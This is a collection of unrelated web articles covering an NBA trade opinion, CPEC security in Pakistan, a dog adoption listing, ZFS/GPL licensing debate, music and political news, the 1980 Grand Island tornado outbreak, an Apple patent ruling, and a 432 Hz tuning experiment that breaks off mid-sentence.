reasons the team should stay away from this move at all costs. It begins away from the numbers and production Jackson would give this team. At 26 years old, in theory the player is still yet to enter his prime. But even on his best day, he’s not a top-five point guard in the Eastern Conference. On his worst? He might not even crack the top 10. Obviously Jackson is not elite in the same way other guards are, otherwise the Pistons would have no reason to move him. Again, he’s an upgrade over Payton right now, no question. But how much better can he realistically get? Much like adding Ross, would this put a ceiling on how good the team could be? The point guard position is the most important in basketball these days. Seeing the pistons in person made me realize KCP a future all star.. and Ish Smith need to start over Reggie Jackson.. — John Oden (@Grind_timeJohn) December 24, 2016 Having Ross, Aaron Gordon, Evan Fournier, Nikola Vucevic and Jackson, along with some dependable veterans, might get you into the playoffs. But is it going to entice free agents to want to come and play there? It’s a good start having those players onboard, but not a great one. Besides, the Magic look resigned to hitting the lottery again this summer, where there are a number of exciting point guard prospects. Which brings us to the next key point, what the Magic would have to give up to get Jackson. Any deal would likely involve Payton. With rumors surrounding Andre Drummond as well, would the Pistons look to add Vucevic too? Would Detroit look for a draft pick in any potential deal? Remember, the Magic owning all of their draft picks is about as good as their future looks right now. Is mortgaging part of that on Jackson really what the team wants to do? He only signed a five-year, $80 million deal back in 2015, so he sits on the expensive side of things as well. Remember, Orlando already has Bismack Biyombo locked into a long-term deal, as well as Vucevic and Fournier on more team-friendly contracts. A decision will have to be made on Gordon and Payton (if he stays) soon. That’s a lot of money to put into a collection of players, none of which look like being a star in this league. Even if the Magic acquired Jackson for Payton and a couple of picks, some of the numbers suggest the team wouldn’t improve all that greatly. Although he had a career year last season, Jackson has cooled off this campaign. His 15.2 points per game is the lowest output since his move to Detroit from the Oklahoma City Thunder. That’s more than Payton is averaging (12.5), but is it enough to warrant trading for Jackson? Payton is only 22 years old himself, even if he does have a less-desirable skill set. Despite being a starter, Jackson is averaging less minutes per game this season (28.4) than Payton (29.1). He has also only played in 36 games, with both knee and thumb injuries keeping him out for significant periods this season. By no means is Jackson a crock, but it is something worth taking into consideration if any deal was to be made. Payton has played in every game this season for the Magic, and did so in his rookie season as well. Being four years younger, his body should be in a better place. https://twitter.com/Jpeezzy31/status/832820841037443073 Equally concerning are some of the other numbers Jackson is posting, particularly when compared to Payton. Jackson’s 5.6 assists per game is his lowest mark in four seasons. But it’s also actually less than Payton is averaging so far this season (5.7). This is also reflected in the fact that Payton provides 31.8 percent of his team’s assists when on the court. That number is 31.3 for Jackson. So really the Magic wouldn’t likely get much improvement in this area from making a trade for Jackson, although his three-point shooting (36.3 percent) would be a big upgrade. This is because Payton is a terrible 26.8 percent shooter from long range. Interestingly, however, he’s already made more of these shots (34) than he did all of last season (30). Hardly the kind of improvement to get excited about, but at least he is trending in the right direction. via GIPHY Payton also boasts a better effective field goal percentage (48.3 percent to Jackson’s 47.9 percent). Defensively Jackson is pretty poor (rating of minus-1.9, career low) and it remains to be see how he would gel with a defensive-minded head coach in Frank Vogel. Offensively he may be much more diverse than Payton, yet his Player Efficiency Rating of 15.7 is only just ahead of Payton’s 15.4. That number is a career high for Payton, whereas it’s Jackson’s lowest mark in four seasons, and way down on the 19.6 of last year. If the Orlando Magic were to trade for Reggie Jackson, it’s unlikely they’d get much better in the short or long term. A nice player who is better offensively than Payton, their numbers are actually strikingly similar in many categories, with Payton even getting the edge in some areas. It’s the kind of trade that would shake up the roster and it could come at a price that the Magic are willing to meet. But it feels like it would be a sideways move, as opposed to a building block in the right direction. For this reason, the Magic need to steer clear of adding the Detroit Pistons point guard. -Chines­e author­ities cautio­n local author­ities of a possib­le terror attack aimed at making the projec­t a failur­e ISLAMABAD: While a political ado is being witnessed in Pakistan on the suspected change of the Pak-China Economic Corridor route, Chinese authorities have cautioned local authorities of a possible terror attack aimed at making the project a failure. According to them, insurgents in Balochistan have prompted security fears for the 3,000-kilometre-long route in the province, a senior security official told The Express Tribune on Friday. He said in addition to the insurgents, many foreign hostile intelligence agencies could also extend their support to the militants to sabotage some key projects particularly on the eastern alignment — Gwadar to Quetta — where work has already started. Read: China-Pakistan Economic Corridor: Lines of development – not lines of divide “The Chinese have sounded a note of ‘caution’ soon after reports suggested foreign agencies’ support to militants,” said the official, who attended an important meeting discussing key issues relating to Gwadar Port and Economic Corridor at the Ministry of Defence this week. He further said, “Research and Analysis Wing (RAW), with other hostile agencies, is at the frontline to sabotage this project – that is what Chinese intelligence agencies shared with us.” He added that the meeting also discussed concerns the Chinese authorities reminded Pakistan’s military and civilian government about an attack on state-run installations in Gwadar district last month, which were conveyed last month. Security measures Meanwhile, a special security division consisting of more than 8, 000 military personnel (nine army battalions) has been trained and will guard key projects linked from Hyderabad to Karachi and Gwadar through N-10 East Bay Expressway along the coastal line, officials overseeing the security of this route said. They further said that an estimated 9, 000 security personnel – comprising Rangers, Levies, police, scouts – making up six wings will assist the military to guard more than 15,000 Chinese workers on this route. Moreover, a major-general-rank officer will command the entire unit. Apart from guarding the economic corridor, an estimated 8,000 security officials have already been deployed for more than 8,112 Chinese workers executing 210 projects in Pakistan. Gwadar Airport An official of the Ministry of Interior revealed that the security layer around the Gwadar International Airport — a project costing $230 million to start this month — has been doubled following recent threats. A similar case of security is with China-Pakistan Friendship Hospital and Pak-China Technical and Vocational Institute falling under the jurisdiction of Balochistan, he added. Security will have to be strengthened further as around 7, 000 additional Chinese workers are expected to join the already engaged teams to execute multi-billion projects around the route connecting Kashgar with Pakistan at Kunjarab – a point from where China wants to link to Gwadar port in the Arabian Sea. Read: APC opposes detours in economic corridor route Commenting on the complex situation, former caretaker interior minister Malik Habib said the reported presence of foreign elements in Balochistan poses a big challenge for law enforcement agencies to provide security to Chinese workers. “The economic corridor is strategically very important — many hostile agencies have started backing Baloch militants,” he said. According to Director Pakistan Institute of Strategic Studies Amir Rana, “China’s main worry seems to be the overall security of the corridor in the near future.” Substantiating his point, Rana said threats such as tribal feuds, militants in Diamer, Baloch insurgents, political issues, nationalist and separatists groups link directly to the corridor security. Read full story -WESTSIDE ADOPTION CENTER: I’m at LexiDog on 6100 SW Macadam Ave. Portland, OR 97239 (503-327-8219). I romp and play all day with the other dogs in doggy daycare so I might be a great fit with your canine family members! Looking for a lap dog? Well, guess what? I’m looking for a lap. I’m easy going, sweet, and I get along with most everyone. No point in you looking any further! I think I’m pretty close to perfect. If you can provide me with daily exercise, routine, and a little bit of training, I think I could be a great match for you. You know what sounds like fun? Taking a Basic Manners class, like the one here at OHS; training and treats, sounds good to me! I’m one of the lucky ones who came from Merced Co. Animal Control to OHS through the Second Chance Program. The adoption fee includes spay/neuter, microchip ID, collar and OHS I.D. tag, initial vaccines, courtesy veterinarian exam, 30 days free PetPlan health insurance and plenty of post adoption support! -A discussion on combining CDDL and GPL code Benefits for LWN subscribers The primary benefit from subscribing to LWN is helping to keep us publishing, but, beyond that, subscribers get immediate access to all site content and access to a number of extra site features. Please sign up today! Within the context of an event dedicated to discussing free and open-source software (FOSS) legalities, such as the Free Software Legal & Licensing Workshop (LLW), the topic of conflicting licenses was bound to come up. The decision by Canonical to start shipping the ZFS filesystem with its Ubuntu server distribution back in February led to a discussion at LLW about distributing the kernel combined with ZFS. Discussions at LLW are held under the Chatham House Rule, which means that names and affiliations of participants are only available for those who have agreed to be identified. This year's LLW was held in Barcelona, April 13-15. Both the CDDL, which is the license under which ZFS is distributed, and the GPLv2, the license used for the kernel, are considered open-source licenses, but they are, to some extent, incompatible with each other. Executable code that is licensed under the CDDL can be re-licensed, as described in section 3.5 of its text. The source code, however, must be distributed under the CDDL (section 3.1). This conflicts with GPL section 2(b) that states: "You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License." This means that both the executable and the source code, and any modifications made to either, must be distributed under the GPL. Although it is true that Canonical also distributes ZFS as a Filesystem in Userspace (FUSE) module, in which case the kernel and the module are considered separate entities and no license conflict exists, Canonical also distributes ZFS as a native kernel module, which gives rise to a clash of licenses with regard to the source code. The spirit of the licenses Mishi Choudhary, from the Software Freedom Law Center, explained as much in her talk "ZFS Licensing". She noted that Linus Torvalds himself had been asked way back in 2003 whether the kernel developers considered a module to be a separate entity and, therefore, not subject to the GPL's copyleft clause that governed the rest of the kernel. Torvalds's answer was a resounding "no". However, Choudhary considers the conflict between the two licenses to be resolvable and, along with her colleague, Eben Moglen, has published a paper explaining why. In her talk she explained that, even though a conflict existed, none of the parties, or even any third party, was being damaged if one or the other license was being infringed upon. The source code was still being freely distributed, regardless of whether it was being done under one license or the other. Therefore, even if the letter of one of the licenses was not being respected, at least "its spirit" was. Choudhary and Moglen argued that enforcing a strict interpretation of the letter of both licenses would have, in this case, more negative consequences than positive. There are precedents in Western law for interpreting a contract or license in its spirit, rather than literally. In the case of the GPL, the spirit of section 2(b) is that the source code must be distributed under a copyleft license. As that is what happens under the CDDL, the spirit of the GPL's clause is respected. This led to a rather heated Q&A session, with Moglen himself flying in from New York specifically to field questions on the matter. Before Choudhary's presentation, the attendees had listened to two talks that advocated taking a hard stance against all infringements and how taking infringers to court had served to establish the GPL and related licenses as valid legal documents (see last week's article on enforcement and compliance of FOSS licenses). At this point, the Q&A had moved on to a fishbowl format, in which attendees could come up and sit on stage to share their thoughts. Many did. Multiple attendees felt that interpreting clauses in the GPL "in their spirit" would undo the enforcement work and weaken the license's legal standing, leading to a slippery slope that infringers could take advantage of. "Why," an infringer could argue, "is clause 2(b) not taken literally in the Canonical case, but it is for me?" Attendees also felt that, by not applying licenses literally, developers that had already licensed their work under the likes of the GPLv2 would wonder why they bothered; and those that were considering using the license would now be reluctant, because the move to interpreting the license in its spirit would make it seem vague and ambiguous. Moglen stated that this was already happening, but for a different reason: companies he worked with were "fleeing the GPL" because of its inflexibility. He argued that this case was an example of how applying a literal interpretation of the clause would cause more damage than good to the collaborative model of development, which is the cornerstone of the free-software movement. Many attendees saw the argument as a way to appease a prominent player that had violated a license, and opened a door to a slew of "convenience" violations that would weaken strict licenses further. Moglen countered that he could imagine a scenario in which two FOSS-defending organizations entered in a dispute with each other over conflicting FOSS licenses and, if that happened, the legal war would tear the community apart. That characterization may have been a mistake. Attendees took offense at the notion that, by defending the literal validity of the GPLv2, a license Moglen himself had been instrumental in creating, they would somehow be made responsible for a hypothetical demise of the free-software movement. As the morning sessions drew to a close, there was the prevalent feeling that the CDDL-GPL issue had opened a rift in the FOSS legal community. Conclusion The proliferation and complexity of FOSS licenses were bound to lead to a conflict sooner or later. As Choudhary and Moglen's talk and Q&A session showed, the question of whether it is better for the free-software community to always apply a strict interpretation of a license, or take a more lenient approach when it conflicts with a another FOSS license, remains unanswered. We will hopefully learn more as the conflict between ZFS and the kernel plays out. [ The author would like to thank Red Hat and Intel for assisting with his travel expenses and the Free Software Foundation Europe (FSFE) for help during the event. ] -Action Bronson has released a new track called “Let Me Breathe,” from his new album Blue Chips 7000. The track was premiered on Zane Lowe's Beats 1 radio show today. Listen to it here and below. It was produced by Harry Fraud, who also executive produced the album. And listen to Bronson's new interview with Zane here. He calls his new music "U2 on steroids." Rick Ross also guests on the album. No release date has been set, but Bronson told Zane that he's hoping to release it by late July/early August. Although he hadn’t released a ton of music in the recent past, Action Bronson has kept plenty busy. He’s got his Viceland shows, he’s appeared as a celebrity chef on talk shows, and he’s got a new matchmaking show coming to Snapchat. Last year he shared the new song “Durag vs. Headband.” -Despite the fact that Jeb Bush represents a virtual royal dynasty with vast connections among the moneyed elite, he’s only raised a little over half of what his campaign needs at this point – and most of that has been spent. Currently, his campaign staff has seen their paychecks reduced (top campaign chiefs saw their pay shaved by $75,000). Reportedly, they’re eating at downscale diners and staying at economy lodging facilities as well. According to a report at RedState.com, Jeb Bush has even started flying commercial. One insider quipped, “The high life has ended.” Of the top GOP contenders (not counting Trump), Jeb has the least amount of cash on hand, coming in fourth behind his former protégé and current rival Marco Rubio. Since announcing his candidacy last summer, he’s raised $13.4 million. Most of that was raised in the first sixteen days, and $11.5 million of it has been spent. Jeb Bush’s campaign must still contend with a $1.7 million payroll for this quarter as well as $2 million for consulting, fundraising and legal counsel. So much for “shock and awe.” Jeb Bush apparently thought that he could intimidate his rivals by raising so much in such a short time. He also believed he could run on his family name and connections. Now, the Republican’s former “Golden Boy” might have to roll up his sleeves and actually go to work if he has any chance of securing the GOP nomination. Even that is looking unlikely. His poll numbers are averaging around 7 percent nationwide. The news is not much better in New Hampshire, a state political analysts believe he must win. Despite a $4.8 million “ad blitz” courtesy of his Super PAC Right to Rise, Jeb’s numbers slid from 9 to 8.7 percent in the Granite State. At the same time, big GOP donors, increasingly nervous about Bush’s chances, are starting to look more favorably at Rubio, despite the fact that his numbers are only slightly better. In short: Jeb Bush’s star is falling from the status of leading man to that of bit-players like John Kasich, Rand Paul and Chris Christie. However, his dismal fundraising record is really the symptom of a deeper problem afflicting the entire field of Establishment, “mainstream” GOP candidates. They’re having a problem attracting campaign donations compared to the “outsiders” like Fiorina and Carson. Even Trump, whose campaign is largely self-funded, is picking up outside donors. Furthermore, GOP candidates across the board are trailing Democrats in terms of individual contributions. While those big-money billionaire donors are happy to back easily bought-and-paid for GOP candidates, the power of those big donations pale in compared to those from hundreds of thousands of small donors supporting Bernie Sanders, Hillary Clinton and others. It says something about average people driven by passion as opposed to oligarchs motivated by greed and lust for power and control. Watch our commentary on Jeb’s faltering campaign: -1980 Grand Island tornado outbreak In this picture, there are two independent tornadoes on the ground marked by large debris clouds at ground level and are located a few hundred yards away from one another. The smaller tornado on the left is the first F1 to hit Grand Island. The 0.25 mile-wide tornado on the right is the second F3 to hit. Power flashes from electrical lines being destroyed by the ferocious winds illuminate the nighttime tornadoes. Type Tornado outbreak Duration June 3, 1980 Tornadoes confirmed 7 Max rating1 F4 tornado Duration of tornado outbreak2 2 hours, 45 miuntes Highest winds In excess of 207 mph Damage $ 300 million (1980 USD) Fatalities 5 fatalities, appx 200 injuries Areas affected Midwestern and Northeastern United States 1 Most severe tornado damage; see Fujita scale 2 Time from first tornado to last tornado The 1980 Grand Island tornado outbreak, also known as The Night of the Twisters, was a tornado outbreak that produced a series of destructive tornadoes that affected the city of Grand Island, Nebraska, on Tuesday, June 3, 1980. Seven tornadoes touched down in or near the city that night, killing five people and injuring 200. The name generally referred to by Grand Island area residents for the event, "The Night of the Twisters", comes from the semi-fictionalized book of the same name, loosely based on the June 3rd, 1980 tornadoes, by author Ivy Ruckman, which in turn inspired a made-for-TV movie that premiered on The Family Channel (now Freeform) in February 1996. While the Grand Island tornado outbreak is best known for the Grand Island tornado family on June 3, the outbreak as a whole produced 18 tornadoes across two days, and caused severe damage as far east as Pennsylvania.[1] Outbreak description [ edit ] Map of surveyed tornado tracks through the Grand Island area by Dr T. Theodore Fujita. The outbreak began on June 2, producing strong tornadoes in Iowa, Indiana, and Ohio, including one that struck the east side of Indianapolis. One fatality occurred near Crawfordsville, Indiana. Tornado activity continued on June 3, with additional strong tornadoes touching down in Pennsylvania, Maryland, West Virginia, and Nebraska. Over a span of three hours on the evening of June 3, 1980, a slow-moving supercell complex moving across Grand Island, Nebraska, spawned several tornadoes. The resulting outbreak was one of the most unusual in United States history: The supercells moved over the city at only 8 mph (13 km/h); of the seven tornadoes, three of them were anticyclonic; and the tornadoes did not move in a straight line, with most looping back over their own path at least once. Aftermath [ edit ] 5 people were killed by the tornadoes, over 200 more injured, and damages were estimated at more than $285 million (USD) ($600 million 2003 USD). In Nebraska, Tornado warnings allowed people to get to safety in time, which prevented a higher death toll. The South Locust Street area in Grand Island was hardest hit, struck by the fifth tornado of the night (an F4 tornado). Much of the rubble and debris left by the tornadoes was placed in a landfill that now forms Tornado Hill, a popular biking and sledding spot In Grand Island today. Confirmed tornadoes [ edit ] Confirmed tornadoes by Fujita rating FU F0 F1 F2 F3 F4 F5 Total 0 0 3 8 4 3 0 18 June 2 event [ edit ] List of confirmed tornadoes – Monday, June 2, 1980 F# Location County Coord. Time Path length Damage summary Indiana F2 Covington area Fountain 1300 5 miles (8.0 km) A hardware store and four homes were destroyed in Covington. F3 Waynetown to S of Crawfordsville Montgomery 1315 18 miles (29 km) 1 death – Near-F4 damage and serious injuries occurred south of Crawfordsville. One woman was killed when her trailer was obliterated and scattered over 30 acres. Caused $2,000,000 in damage and injured 16 people. F2 Indianapolis Marion 1400 unknown Near-F3 struck the east side of Indianapolis, destroying four homes and damaging a dozen others. Flying debris caused a traffic accident on I-465. Six people were injured. F2 New Palestine Hancock 1405 unknown Near-F3 tore apart many homes in town and ripped the roof off of a grocery store. A high school and an elementary school were heavily damaged. Four people were injured, including a woman who was trapped in the debris of her trailer home. Iowa F2 S of Allerton Wayne 0630 5 miles (8.0 km) Tornado struck a farm, twisting the house off its foundation and destroying several outbuildings. Six train cars were derailed and another home lost its roof. F2 Cincinnati to West Grove Appanoose, Davis 0705 20 miles (32 km) Trees were damaged and three homes were partially unroofed. Three trailer homes were destroyed, and other homes and trailers were damaged. A Masonic Lodge was damaged as well. There were five injuries, all of which occurred in trailer homes. F4 SW of Davis City to S of Corydon Decatur, Wayne 1525 32 miles (51 km) Long-track tornado completely destroyed a farmhouse near Davis City, and unroofed a fertilizer plant. Ohio F2 NE of Blackford Jackson 1830 8 miles (13 km) Two homes lost their roofs, and seven farm buildings were destroyed in rural area. Sources:[1] June 3 event [ edit ] List of confirmed tornadoes – Tuesday, June 3, 1980 F# Location County Coord. Time Path length Damage summary Nebraska F3 NW of Grand Island Hall 1945 14.5 miles (23.3 km) 1 death – Tornado touched down 11 miles northwest of Grand Island. First of seven tornadoes to hit the city in just over 2 hours. Farm homes outside of town were torn apart, and a woman was killed while trying to drive to a relative's house. The tornado killed 1, injured 25, and caused an estimated $2.5 million in damages. Although the straight line path of the tornado was only 7.0 miles (11.3 km), the actual length was over double because the track was highly unusual in that it looped and crossed itself numerous times. Tornado had a surveyed path width of 0.4 miles (0.6 km).[2] F1 N Grand Island Hall unknown 0.8 miles (1.3 km) Small anticyclonic tornado briefly touched down in the northern edges of Grand Island, just east of the first tornado. Second of seven tornadoes to hit the city in just over 2 hours. The tornado caused an estimated $25,000 in damages and five injuries. First of three anticyclonic tornadoes.[2] F3 Grand Island Hall 2005 3.5 miles (5.6 km) Tornado touched down north of Grand Island and moved into the city near Airport Road, between US 281 and Webb Road. Third of seven tornadoes to hit the city in just over 2 hours. The tornado injured 40 and caused an estimated $2.5 million in damages. Although most damage was rated F0, several homes were heavily damaged and some F3 damage was noted near the veteran's home, which had windows blown out. Second of three anticyclonic tornadoes. Tornado path length was 3.5 miles (5.6 km) and maximum surveyed path width was 0.3 miles (0.5 km).[2] F1 SE of Grand Island Hall unknown 2.5 miles (4.0 km) Tornado touched down southeast of Grand Island and moved toward the southwest, west, and even north. Last of three anticyclonic tornadoes.[2] F4 Grand Island Merrick, Hall 2116 6.0 miles (9.7 km) 4 deaths – Tornado touched down just east of Grand Island, then moved west into the city. Once within the city, the tornado turned south and followed Locust Street, causing some of the most intense damage of the outbreak to businesses and neighboring residences, some of which were "obliterated". Numerous homes, vehicles, businesses, trees, and power lines were destroyed. Damages exceeded $200 million, and 110 people were injured. Tornado path length was 6.0 miles (9.7 km) and the surveyed path width was 0.6 miles (1.0 km).[2] F2 SE of Grand Island Hall 2125 6.0 miles (9.7 km) Tornado touched down southeast of Grand Island. Sixth of the seven tornadoes that hit Grand Island. The tornado caused an estimated $2.5 million in damages and 18 injuries. Tornado path length was 6.0 miles (9.7 km) with a surveyed path width of 0.3 miles (0.5 km).[2] F1 SE of Grand Island Hall, Hamilton 13.4 miles (21.6 km) Tornado touched down southeast of Grand Island. Last of the seven tornadoes in the area. The tornado caused an estimated $2.5 million in damages and two injuries. The tornado tracked across mostly rural areas and avoided many homes. Path length was 13.4 miles (21.6 km).[2] Pennsylvania F4 Natrona Heights to Vandergrift to Apollo Allegheny, Westmoreland, Armstrong 1230 14 miles (22.5 km) A restaurant and two stores were severely damaged in Natrona Heights, with 12 injuries at that location. Seven homes were damaged in Vandergrift, and a trailer park in Apollo was devastated. One home was nearly leveled by this tornado. Caused $6,000,000 in damage and injured 140 people. Rated F3 by Grazulis. F2 N of Saltsburg Indiana 1305 6 miles (9.7 km) A half dozen homes, a helicopter, and three trailers were torn apart. Six people were injured. West Virginia F3 Ridgedale to Crellin, Maryland Monongalia, Preston, Garrett (MD) 1430 28 miles (45.1 km) In West Virginia, 28 homes were destroyed and 102 others were damaged. Thirteen businesses and nine public buildings were damaged as well. Reedsville was hard hit. A mobile home park there was destroyed, and a two-year-old child was thrown nearly a mile into a field, but survived. The tornado continued into Maryland where two trailer homes were destroyed, 15 permanent homes were damaged, and 12 farms were damaged. Caused $7,000,000 in damage and 19 injuries. Most destructive West Virginia tornado since 1944. Sources:[1] Fictionalized accounts of the event [ edit ] Damage from the Grand Island tornadoes. Book [ edit ] In 1984, a semi-fictionalized book version of this significant tornado outbreak by children's author Ivy Ruckman, a native of Nebraska, was released under the title Night of the Twisters. The book told the story of Danny Hatch, a pre-teen and his family, and what happened to them as the event took place. Television film [ edit ] The book inspired a made-for-cable television original movie of the same name, that premiered on February 14, 1996, on The Family Channel (now Freeform). The movie version still centered on the Hatch Family and most of the characters in the book were adapted to the film. However, there were several discrepancies from the movie and the book version. The most notable being the town in the movie is changed from Grand Island to the fictional town of Blainsworth, which Ivy Ruckman reportedly was disappointed about as it took some of the reality out of the actual event. Danny's father's name is changed to Jack in the film (played by John Schneider) and is mentioned to be his stepfather as Danny's real father is revealed to have died in a plane crash when Danny was six years old. One somewhat prominent character in the movie was Bob Iverson (played by David Ferry), who was not included in the book. Danny's mother occupation is also changed to waitress. The last scene in the film in which the Hatch family tries to outrun a tornado in a car lent to them at a shelter was added specifically for the film and was not in the book, either. Danny and his friend Arthur's (played by Devon Sawa and Amos Crawley) ages are also changed to their mid-teens (though their ages are never mentioned in the film). See also [ edit ] -Apple has been dealt yet another blow by the U.S. Patent & Trademark Office after receiving confirmation that its famous “rubber banding” patent, which plays a key role in the company’s fight against Samsung, is invalid. The “final” decision comes after the USPTO tentatively rejected all claims in the ‘381 patent back in October 2012. While the initial ruling invalidated all 20 claims in patent ‘381, three of them (14, 17, and 18) have been reinstated in the latest decision. The other 17, however — which includes the key “over scroll bounce” feature that Apple is so protective of — are still considered invalid. But according to FOSS Patents, this “final” decision can still be appealed. Apple now has two months to respond to the Central Reexamination Unit, and if necessary, the company can send its appeal to the Patent Trial and Appeal Board. If Apple still doesn’t get the decision it’s looking for after that, then the appeal can go to the U.S. Court of Appeals for the Federal Circuit. It will “take years” before a true, final decision is made on the validity of this patent, FOSS Patents reports. Patent ‘381 played a key role in Apple’s $1.05 billion damages award against Samsung last summer. At the time, Judge Lucy Koh didn’t consider the first Office action deeming the patent invalid to be relevant, but this decision could have an impact on whether or not we see a new trial. This is the second blow Apple has been dealt by the USPTO in under a week, with the company having been denied its trademark for “iPad mini.” -Sound artist Patrick Noecker constructs a blind taste test to examine an audience's reception to the same piece of music played at both 440 and 432 Hz. This is his story. When a musician uses a tuner, he or she will likely tune their A string or respective medium to the A at 440 Hertz or when the needle is pointing straight up. This a reference point for all other strings to be tuned to or “pitched” around. And it is not the notes, but their relationship to each other that creates harmony or “music.” Determining a starting point or middle ground, historically speaking, has been greatly debated. In 1859 the French enacted a law that their concert pitch would rest at 435hz. In 1939, at an international standards conference in London, it was determined that 440hz would be the standard for Britain and most developed nations followed suit. This was reaffirmed in 1955 and 1975 by the International Organization for Standardization. A growing number of artists and musicians today believe that concert pitch should be taken down to 432hz arguing that a middle pitch at 432 is easier on a singer’s vocal chords, relieves excessive tension on the instrument body, and that 432hz is more in tune with the vibration of all things. Maria Renold was perhaps the first to boldly state this unproven claim in her work, Scales, Tone, Intervals and Concert Pitch, C=128hz. Renold states that 440hz “disassociates the connection of consciousness to the body and creates anti social conditions in humanity.” In other words, 440hz has bad vibes, literally. Over the last 10 years I have routinely experimented with middle pitch. It doesn’t mean my instruments and apps aren’t in tune when I play them, it means that I set my base pitch where I want it, not where the tuner or a musical society of standards says it should be. Around 2000, I began to reconsider 440A. It seemed preposterous to me that you have to be at this range to play “music.” In 2001, I prepared my bass with a wooden dowel under all four strings and applied this to my solo project RAFT and a new group called n0 things. By abandoning the notion of concert pitch, I was able to find a place that felt good sonically. A pivotal moment for me was when I strung a rubber band from the horn of my bass back to the dowel rod under the strings and began plucking it as a hook for a song. The resonant thud had overtones I desired to hear even though the setup wasn’t very practical, musically speaking, but it really got down to the bones of what a sound is or can be beyond the standards of music and concert pitch; the “play-here-to-be-a-musician” school of thought. What was peskily ringing inside my own head could now see light and enter into new creative territory. So I began settling into this new relationship between my strings, strange vibrations and my free-to-run sound-self. By the time n0 things had come and gone, I had a system, and A was at 436hz. I had developed something new that came from abandoning concert pitch. I developed all of this much further in the band These Are Powers. Hopes&Fears asked me to test my aesthetic quandry with a blind taste test at their offices in Brooklyn. The series of pitches I arranged for this two-set sonic demonstration/sound bath was designed to reveal the audible differences between long tones relative to 440hz and 432hz. My second objective was to reveal the physical and emotional effects of the different pitches, which could possibly give us our own answers about this debated subject of 440 versus 432. That said, an audience survey for each piece was needed and I would refrain from telling them which piece was which until after the experiment. Mike Sheffield of Hopes&Fears and I wrote up a questionnaire that would help us document potential emotional and physical reactions for each set. We asked attendees what they ate before coming, what colors they saw during the show, and other experiences (like shapes and moods) they each felt during the pieces. We focused primarily, however, on the following 11 emotions and asked audience members to document which ones, if any, they experienced during 432 and 440. The emotions were as follows: Discomfort Restlessness Irritability Calm Pain Sadness Happiness Numbness Lethargy Panic Relaxation In order to get an accurate set of responses, I played the same piece “Rethinking Concert Pitch” exactly the same, twice, the first one in 432 and the second in 440, each for 30 minutes. The notes and hertz ranges I chose to present for this demonstration were determined by my own emotional and physical reactions during the research and design phase. I used an app on my Iphone called Signal Generator to find my ranges. It allowed me to quickly scroll through all the semitones around 432 and 440. Once I found a semitone or tone that l thought had deep content, I rounded it up or down to the nearest note, which would help me express the differences in terms of music rather than hz. I used a very handy conversion chart written by a guy named BH Suits, to help me convert the notes in 432 to 440 and vice versa. For instance, I could look at the chart and see what D was in 432 (288hz) and then what it was in 440 (293.66hz). This way I could keep both sets harmonically identical and equally relative to the middle pitch in both pieces. The stereo output on my Iphone allowed me to create a left and right signal as I also wanted to model the output after the brain, left-side, right-side, me as corpus callosum mediating both. I enacted this set up based on my gut-belief that higher tones work better with one side of the brain than the other, that side being the right side. After finding the tones on Signal Generator, I’d punch them into the preset option on an app called Function Generator, which I set to run on the right side through its stereo function. In 432 for instance, I created sine tone presets between 108hz and 647hz, and between 110hz and 659hz for 440. I ran these tones through two 1x12 amps spread about 15 feet apart. On the left side, via the Moog Filtatron App, I ran an oscillating sub frequency out of two 1x15 bass amps (about 15 feet apart) at 54hz for 432 and 55hz for the 440 piece. Both apps could run in the background, or at the same time. The Moog generated the sub frequency, the Tone Generator created the mids, highs and one low pitch, 108hz for 432 and 110hz for 440. Again, I set the apps identically for both pieces, using the same notes, and the same amount of oscillation. The notes for each set were A, G, F#, E, D, C# and B. The subjects/audience members were surrounded by the sound as I had set up chairs between the four amps. I wanted them to be immersed so that they could experience the full sonic spectrum. The first set was in 432; the range alleged to be more pure, more in tune with humans, and more conducive to health and well-being. That set did yield results suggesting just that, yet other results were more surprising. Select reactions to set 1 at 432hz: “The 1st third of the set I got deep into a zone, eyes closed and dreamy. Midway through I became very alert and the last third I experienced some agitation.” “I think the durational sounds made me feel an extreme awareness of heightened mental and physical (realms).” “The sounds were soothing to me.” “At first I was a bit anxious, but then it felt like a soft wave overtook me and carried me into a soft fuzzy womb. I thought about a forest and then about masturbating. I thought about a sad moment in my last breakup.” “...Could really get lost in them (the sounds) moments I got distracted...I emerged with tears…..heartbreak, reconnection, dreamy thoughts, past things/people, future feelings.” “Elemental, from deep in the Earth, breaking different levels of surface in arcs.” “Moments of calm, moments of tension...pleasure at intentional listening, felt pretty absorbed by the sound, felt some meandering thoughts.” “It felt like being underwater with building pressure and amorphous feelings.” “I was on a boat on the sea and then drifted off into nothingness.” “The Dawn Breaks in Summer.” We took a break after the first set at 432. Again, the audience was unaware what it was in, 432 or 440. Everyone had a drink, the rain continued to pour and the mood was pretty neutral among all. It didn’t feel like a party, but there weren’t any bad vibes, mainly, it was void of extremes. I began the second set in 440 about a half hour after the break. I immediately felt how the sound was moving faster. After all, hz is a measurement of how many times a tone or sound is occurring in a single second and 440 is higher than 432. The hair on my arms seemed to stand up and I felt a more intense vibration moving through my body. I could definitely feel that if 432 were a drug, it would be one that induced a lethargic or mellow body high. Maybe 440 would be like a drug that mentally stimulated you & made you feel an energetic body high. In any case, vibrations were hitting me harder and faster. I hadn’t experienced this kind of shaking feeling during my practices. It felt like my innards were being stirred around. I wasn’t sure if it was a good or bad thing, but something was happening. “I thought to myself...Maybe this is what the 432truthers are talking about….” Exactly 30 minutes later, the set was over. The audience filled out another questionnaire regarding this set. Some results met my expectations, yet others completely defied what I thought would be the case. Basically, I didn’t expect all the “happy” responses. Select reactions to set 2 at 440 hz: “Slightly anxious, my perfect pitch made aware at the first note that it was in 440. Hyper self aware, hypersensitive, alert. I could smell things, I thought of unfinished projects. Thought about how funny the word masturbate is.” “...like a dream or driving….” “I thought it was more peaceful (than the first).” “Scenes of driving down dark highways in tunnels in the rain....less natural feeling.” “This time I was checking my phone a lot. Previous one was more calming, but intense in dark way. 2nd was more dissonant.” “Less thoughts, more calm, some random thoughts surfaced but mostly absorbed in the sound. Felt clearing/cathartic “healing” however I wonder if other variables affected my experience.” “The first version felt more intense but just because of the amplitude of those tones...I was in the moment for the most part, few random thoughts passed by…” “At the beginning of the 2nd set I spontaneously started thinking about things I was grateful for. I imagined being active and defranic in my body. Had the immersive feeling I get when sitting in the sun.” “I was thinking about a sci-fi church. It felt clearer, richer and less off-putting.” “I enjoyed this one more. Sounds familiar and major key. Set 2 felt less alien.” “I was able to go deeper into this. The 440 piece had 